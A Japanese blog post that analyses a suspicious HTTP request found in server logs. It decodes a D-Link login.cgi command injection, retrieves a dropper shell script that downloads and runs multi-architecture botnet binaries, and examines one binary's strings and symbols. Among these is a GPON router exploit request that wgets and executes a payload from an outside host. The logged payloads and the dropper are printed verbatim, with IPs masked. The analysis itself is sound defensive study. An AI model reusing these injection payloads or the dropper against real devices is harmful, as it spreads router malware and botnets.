Nikoに届いていた謎のリクエストを分析する

Nikoに届いていた謎のリクエストを分析する

 Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました(被害者かもしれないので、いちおう出てくるIPは隠しています):

xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"

 パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。

 なので、ちょっと調べてみることにしました。

あやしいURL

 まずはリクエストのURLを見てみましょう。

/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$

 いくつかの文字はURLエンコードされていますが、wgetの後になぞのURLとか、/tmp/xdとか、shみたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgicli=...でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:

$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ
aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$

 でました! aa[ESC]aaの後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xdがあり、最後に$で終わっています。このaa[ESC]aa$はちょっとよくわからないですが、wgetしてなにかを取得して/tmp/xdに保存し、それを実行しているのがわかります。

あやしいスクリプト

 では、このdlinkとはなんなのか。実際に取得してみましょう。

$ curl -v http://yy.yy.yy.yy/dlink
*   Trying yy.yy.yy.yy...
* TCP_NODELAY set
* Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0)
> GET /dlink HTTP/1.1
> Host: yy.yy.yy.yy
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 23 Jul 2018 23:10:36 GMT
< Server: Apache/2.4.10 (Debian)
< Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT
< ETag: W/"10e-571b41599b480"
< Accept-Ranges: bytes
< Content-Length: 270
< 
#!/bin/sh

n="mips.gemini mpsl.gemini arm7.gemini"
http_server="yy.yy.yy.yy"

for a in $n
do
    cd /tmp
    busybox wget http://$http_server/sister/$a -O -> /tmp/$a
    busybox chmod 777 /tmp/$a
    /tmp/$a selfrep.dlink
done

for a in $n
do
    rm -rf /tmp/$a
* Connection #0 to host yy.yy.yy.yy left intact
done

 中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlinkと引数を与えると、自己複製して撒き散らしそうな感じです。

 ちなみに上のサーバから、いまはdlinkというファイルは消えています。感づかれたのかな。でもなぜか/にアクセスしたらApacheディレクトリ内ブラウズができる状態だったので、/sister/以下のファイルはすべて取得してみました。x86.geminiとかあって、こわい。

sister$ ls -l
合計 800
-rw-r--r-- 1 grey grey  47356  7月 24 12:13 arm.b.gemini
-rw-r--r-- 1 grey grey  55764  7月 24 12:13 arm.gemini
-rw-r--r-- 1 grey grey  47388  7月 24 12:13 arm5.b.gemini
-rw-r--r-- 1 grey grey  46896  7月 24 12:13 arm5.gemini
-rw-r--r-- 1 grey grey 118319  7月 24 12:13 arm7.b.gemini
-rw-r--r-- 1 grey grey 129065  7月 24 12:13 arm7.gemini
-rw-r--r-- 1 grey grey  43188  7月 24 12:13 bin.gemini
-rw-r--r-- 1 grey grey  59364  7月 24 12:13 mips.b.gemini
-rw-r--r-- 1 grey grey  71824  7月 24 12:13 mips.gemini
-rw-r--r-- 1 grey grey  60804  7月 24 12:13 mpsl.b.gemini
-rw-r--r-- 1 grey grey  72864  7月 24 12:13 mpsl.gemini
-rw-r--r-- 1 grey grey  47792  7月 24 12:13 x86.gemini

あやしいELF

 ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。

 まず、とりあえずreadelfでバイナリフィアルのヘッダを見てみました。

$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)'
ファイル: arm.b.gemini
  セクションヘッダサイズ:            10
ファイル: arm.gemini
  セクションヘッダサイズ:            10
ファイル: arm5.b.gemini
  セクションヘッダサイズ:            10
ファイル: arm5.gemini
  セクションヘッダサイズ:            18
ファイル: arm7.b.gemini
  セクションヘッダサイズ:            29
ファイル: arm7.gemini
  セクションヘッダサイズ:            29
ファイル: bin.gemini
  セクションヘッダサイズ:            13
ファイル: mips.b.gemini
  セクションヘッダサイズ:            13
ファイル: mips.gemini
  セクションヘッダサイズ:            13
ファイル: mpsl.b.gemini
  セクションヘッダサイズ:            13
ファイル: mpsl.gemini
  セクションヘッダサイズ:            13
ファイル: x86.gemini
  セクションヘッダサイズ:            10

 なんとなくarmに力点が置かれており、とくにarm7かそうでないかでコードの複雑さが違うっぽいような気がします。

あやしいarm7.gemini

 arm7を感染させることが大事っぽいので、ここではarm7.geminiを解析対象とします。

 とりあえずまずは、stringsで文字列を見てみましょうか。

$ strings arm7.gemini | head
JR**
gfff@
@ #!
!1C "
POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Gemini/2.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0

 おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。

 つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:

$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym
$ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das

 arm7.gemini.dasを覗くと、以下のようなかんじです(長いので、下に載せます)。

 なんだか<attack_*>とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、greというのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。

 下のほうにいくと<main>があって(エントリポイントですかね!)、さらにいくと<memcpy>とか<malloc>とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopenprctlがあることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか?

$ cat arm7.gemini.das | egrep '<.+>:'
000080d4 <_init>:
000080f0 <__do_global_dtors_aux>:
00008134 <frame_dummy>:
00008194 <_start>:
000081d0 <attack_get_opt_str>:
0000822c <attack_get_opt_ip>:
00008298 <attack_get_opt_int>:
00008308 <attack_parse>:
000085a0 <attack_init>:
000089cc <attack_gre_eth>:
00009094 <attack_gre_ip>:
000096f4 <attack_tcp_xmas>:
00009dcc <attack_tcp_frag>:
0000a4a4 <attack_tcp_syn>:
0000ab7c <attack_tcp_stomp>:
0000b3a8 <attack_tcp_ack>:
0000bacc <attack_icmp_basic>:
0000bd8c <attack_udp_plain>:
0000c04c <attack_udp_frag>:
0000c618 <attack_udp_generic>:
0000cbe4 <attack_udp_vse>:
0000d050 <attack_udp_dns>:
0000d734 <checksum_generic>:
0000d784 <checksum_tcpudp>:
0000d828 <dlinkscanner_scanner_kill>:
0000d850 <gponscanner_scanner_kill>:
0000d878 <gponscanner_setup_connection>:
0000d94c <gponscanner_scanner_init>:
0000e40c <huaweiscanner_scanner_kill>:
0000e434 <killer_kill>:
0000e45c <mkiller_kill>:
0000e484 <killer_kill_by_port>:
0000ea00 <mini_killer>:
0000ea7c <killer_init>:
0000f638 <anti_gdb_entry>:
0000f650 <ensure_single_instance>:
0000f7b4 <resolve_cnc_addr>:
0000f820 <ioctl_keepalive>:
0000f970 <rand_exploit>:
0000f998 <main>:
00010120 <rand_next>:
0001017c <rand_init>:
000101e4 <rand_alpha_str>:
000102b4 <resolv_entries_free>:
000102dc <resolv_lookup>:
000107e4 <table_retrieve_val>:
00010808 <table_lock_val>:
000108a8 <table_unlock_val>:
00010948 <table_init>:
00011000 <util_strlen>:
00011028 <util_strcpy>:
00011070 <util_memcpy>:
00011094 <util_zero>:
000110b8 <util_atoi>:
000111f4 <util_fdgets>:
00011250 <util_local_addr>:
000112e4 <util_stristr>:
00011374 <util_itoa>:
00011470 <__aeabi_uidiv>:
0001156c <__aeabi_uidivmod>:
00011584 <__div0>:
00011598 <__GI___fcntl_nocancel>:
00011630 <__GI___libc_fcntl>:
00011724 <getppid>:
00011738 <__GI_ioctl>:
00011818 <__GI_kill>:
00011850 <prctl>:
00011894 <__GI_readlink>:
000118d4 <__syscall_select>:
00011918 <__libc_select>:
0001199c <__GI_setsid>:
000119dc <__GI_sigprocmask>:
00011a68 <__GI_time>:
00011a98 <__GI_closedir>:
00011ba8 <fd_to_DIR>:
00011c78 <__GI_opendir>:
00011d3c <fdopendir>:
00011dec <__GI_readdir>:
00011ed4 <__GI___errno_location>:
00011ef4 <clock>:
00011f30 <__GI_memmove>:
00011f40 <__GI_memset>:
00011fe0 <__GI_strcpy>:
00012004 <__GI_inet_addr>:
0001202c <__sys_accept>:
00012070 <__libc_accept>:
000120e4 <__GI_bind>:
00012128 <__sys_connect>:
0001216c <__libc_connect>:
000121e0 <__GI_getsockname>:
00012224 <getsockopt>:
0001226c <__GI_listen>:
000122ac <__sys_recv>:
000122f0 <__libc_recv>:
00012360 <__sys_recvfrom>:
000123a8 <__libc_recvfrom>:
00012430 <__sys_send>:
00012474 <__libc_send>:
000124e4 <__sys_sendto>:
00012530 <__libc_sendto>:
000125b8 <__GI_setsockopt>:
00012600 <__GI_socket>:
00012644 <__GI_sigaddset>:
00012694 <__GI_sigemptyset>:
000126a8 <__GI_signal>:
0001276c <__GI___sigismember>:
00012790 <__GI___sigaddset>:
000127b4 <__GI___sigdelset>:
000127d8 <__malloc_largebin_index>:
00012850 <malloc>:
00013188 <calloc>:
000132c8 <realloc>:
00013688 <__malloc_trim>:
00013738 <__malloc_consolidate>:
000138ec <free>:
00013b28 <malloc_trim>:
00013b68 <__GI_abort>:
00013c90 <rand>:
00013ca8 <__GI_random>:
00013d4c <setstate>:
00013e04 <initstate>:
00013ec4 <srd>:
00013f68 <__GI_random_r>:
00013ff8 <__GI_srandom_r>:
000140d0 <__GI_initstate_r>:
000141c8 <__GI_setstate_r>:
000142b4 <__GI_exit>:
00014378 <nprocessors_onln>:
000144c4 <__GI_sysconf>:
00014ae8 <__libc_fork>:
00014eb4 <__lll_lock_wait_private>:
00014f4c <__getpid>:
00014f94 <__GI_raise>:
00015084 <__GI_sleep>:
000151b4 <__GI___close_nocancel>:
000151d0 <__GI___libc_close>:
00015244 <__GI___open_nocancel>:
00015260 <__GI___libc_open>:
000152d4 <__GI___read_nocancel>:
000152f0 <__GI___libc_read>:
00015360 <__libc_disable_asynccancel>:
000153e8 <__libc_enable_asynccancel>:
000154c4 <__pthread_mutex_lock>:
000154cc <__pthread_mutex_init>:
000154d4 <_pthread_cleanup_push_defer>:
000154dc <_pthread_cleanup_pop_restore>:
00015508 <__GI___uClibc_fini>:
00015584 <__check_one_fd>:
000155d8 <__GI___uClibc_init>:
00015630 <__uClibc_main>:
00015a1c <__GI_mmap>:
00015a98 <__syscall_error>:
00015ac4 <__libc_sigaction>:
00015b4c <_setjmp>:
00015b58 <__default_sa_restorer>:
00015b64 <__default_rt_sa_restorer>:
00015b70 <__aeabi_read_tp>:
...以下省略

 どうもこのプログラムはルータを対象にし、なにかをする(させる)プログラムのようです。
 うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない! くやしい! 『熱血! アセンブラ入門』を読んで勉強しないと……。

 今日はここまでにします。